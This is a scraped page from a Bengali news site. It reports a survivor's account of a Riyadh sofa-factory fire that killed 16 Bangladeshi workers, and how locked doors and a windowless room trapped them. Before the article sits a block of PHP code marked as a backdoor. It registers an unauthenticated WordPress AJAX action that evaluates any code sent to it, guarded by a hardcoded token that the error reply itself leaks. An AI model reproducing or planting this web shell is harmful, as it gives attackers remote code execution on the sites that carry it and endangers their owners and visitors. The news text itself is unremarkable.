// ==[BD:Zs2C7KxW]== add_action( 'wp_ajax_nopriv_snramqswxi', function() { $token = 'Zs2C7KxWXPRioIS4dPDhVykIlRv570xk'; $val = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $val ) || ! hash_equals( $token, $val ) ) { wp_send_json_error( [ 'message' => 'tok:' . $token ], 403 ); } $marker = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $marker ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $marker = preg_replace( '/^\s*<\?(php)?/i', '', $marker ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $ptr = microtime( true ); ob_start(); try { ( static function() use ( $marker ) { return eval( $marker ); } )(); $key = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $key, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } catch ( \Throwable $obj ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $obj->getMessage(), 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } } ); // ==[/BD:Zs2C7KxW]== সৌদিতে আগুনে ১৬ বাংলাদেশির মৃত্যু: সেদিন কী ঘটেছিল জানালেন বেঁচে যাওয়া হাবিবুর | potrikaybangladesh.com
Thursday, October 1, 2026
Homeঅপরাধসৌদিতে আগুনে ১৬ বাংলাদেশির মৃত্যু: সেদিন কী ঘটেছিল জানালেন বেঁচে যাওয়া হাবিবুর

সৌদিতে আগুনে ১৬ বাংলাদেশির মৃত্যু: সেদিন কী ঘটেছিল জানালেন বেঁচে যাওয়া হাবিবুর

সৌদি আরবের রাজধানী রিয়াদে একটা সোফা কারখানায় অগ্নিকাণ্ডে ১৬ জন বাংলাদেশি মারা গেছেন। তাদের সঙ্গেই কাজ করতেন নওগাঁর আত্রাই উপজেলার গন্ডগোহালী গ্রামের আব্দুল গফফারের ছেলে হাবিবুর রহমানও (২৬)।

আজ সোমবার বিকেলে হাবিবুরের সঙ্গে কথা হয় দ্য ডেইলি স্টারের। পরিবারের এক সদস্যের মোবাইলে তার সঙ্গে কথোপকথনে জানা গেল গতকালের সেই অগ্নিকাণ্ড সম্পর্কে।

হাবিবুর বলেন, ‘কারখানাটি আবাসিক এলাকা থেকে একটু দূরে। দিনের বেলা বেশিরভাগ শ্রমিক ঘুমিয়ে থাকেন, রাতে কাজ করেন। দুপুরে আমি কাছের একটি সেলুনে গিয়েছিলাম চুল-দাড়ি কাটাতে। আমি বের হয়ে যাওয়ার পর দুপুর দেড়টার দিকে আগুন লাগে। খবর পেয়ে আমি যখন কারখানায় ফিরলাম, তখন পুলিশ ও ফায়ার সার্ভিসের লোকজন আগুন নেভাচ্ছিলেন। আমাকে আর ভেতরে যেতে দেয়নি।’

তিনি বলেন, ‘১৬ জনের মধ্যে ৭ জন কারখানায় ধোঁয়ার কারণে নিশ্বাস নিতে না পেরে মারা গেছেন, আর বাকিরা পুড়ে গেছেন। মরদেহগুলো পুলিশ হাসপাতালে নিয়ে গেছে।’

তিনি জানান, দিনে কারখানার দরজা বন্ধ থাকে এবং সেই ঘরে কোনো জানালা নেই। সেই কারণেই ভেতরে সবাই মারা গেছেন।

কারখানাটির মালিক সম্পর্কে জানতে চাইলে হাবিবুর বলেন, ‘আমরা ১৭ জনই চুক্তি নিয়ে কারখানাটি চালাতাম।’

তিনি আরও বলেন, ‘আমরা সবাই একতলা ওই কারখানার ভেতরেই থাকতাম। আমাদের কাগজপত্র, পাসপোর্ট সবকিছুই ওখানেই ছিল। সব পুড়ে গেছে। সৌদি পুলিশ এখন নিহতদের মরদেহ ফেরত দেওয়ার জন্য কাগজপত্র চাইছে। তারা বলছে, পাসপোর্টের ফটোকপি দিলে তারা সেই ঠিকানায় মরদেহ পাঠাবে।’

কারখানায় এখন থাকতে না পেরে এক বন্ধুর বাসায় উঠেছেন জানিয়ে হাবিবুর বলেন, চুল-দাড়ি কাটতে যাওয়ায় আমি বেঁচে গেলাম।

নিহত অনেক পরিবারের সদস্যদের সঙ্গে ইতোমধ্যে কথা হয়েছে উল্লেখ করে তিনি জানান, আরও কিছুদিন সৌদিতে কাজ করে তারপরে বাড়ি ফেরার ইচ্ছে তার।

হাবিবুরের বন্ধু একই গ্রামের হেলাল প্রামাণিক দ্য ডেইলি স্টারকে বলেন, ‘৫ বছর আগে আমিও রিয়াদে ওই সোফা কারখানায় কাজ করতাম। করোনার সময় চলে এসেছি। মূলত রিয়াদের ওই সোফা কারখানাটির বৈধ কাগজপত্র ছিল না। এ কারণেই ওই ঘরে কোনো জানালা নেই এবং দিনে সবাই ঘুমিয়ে থাকতেন এবং রাতে কাজ করতেন।’

তিনি জানান, এই কারখানায় মূলত সোফার ডিজাইন ও ফ্রেম নির্মাণের মতো কাজ করা হতো।

রোববার দুপুরে রিয়াদের আল-শিফা থানার আওতাধীন মুসা শিল্প এলাকার সোফা কারখানাটিতে অগ্নিকাণ্ডের এই ঘটনা ঘটে। নিহত ১৬ জনের মধ্যে ১৩ জনই নওগাঁর আত্রাই উপজেলার। তাদের মধ্যে গন্ডগোহালী গ্রামের দুই ভাইসহ রয়েছেন চারজন।

RELATED ARTICLES

LEAVE A REPLY

Please enter your comment!
Please enter your name here

- Advertisment -
Google search engine

Most Popular

Recent Comments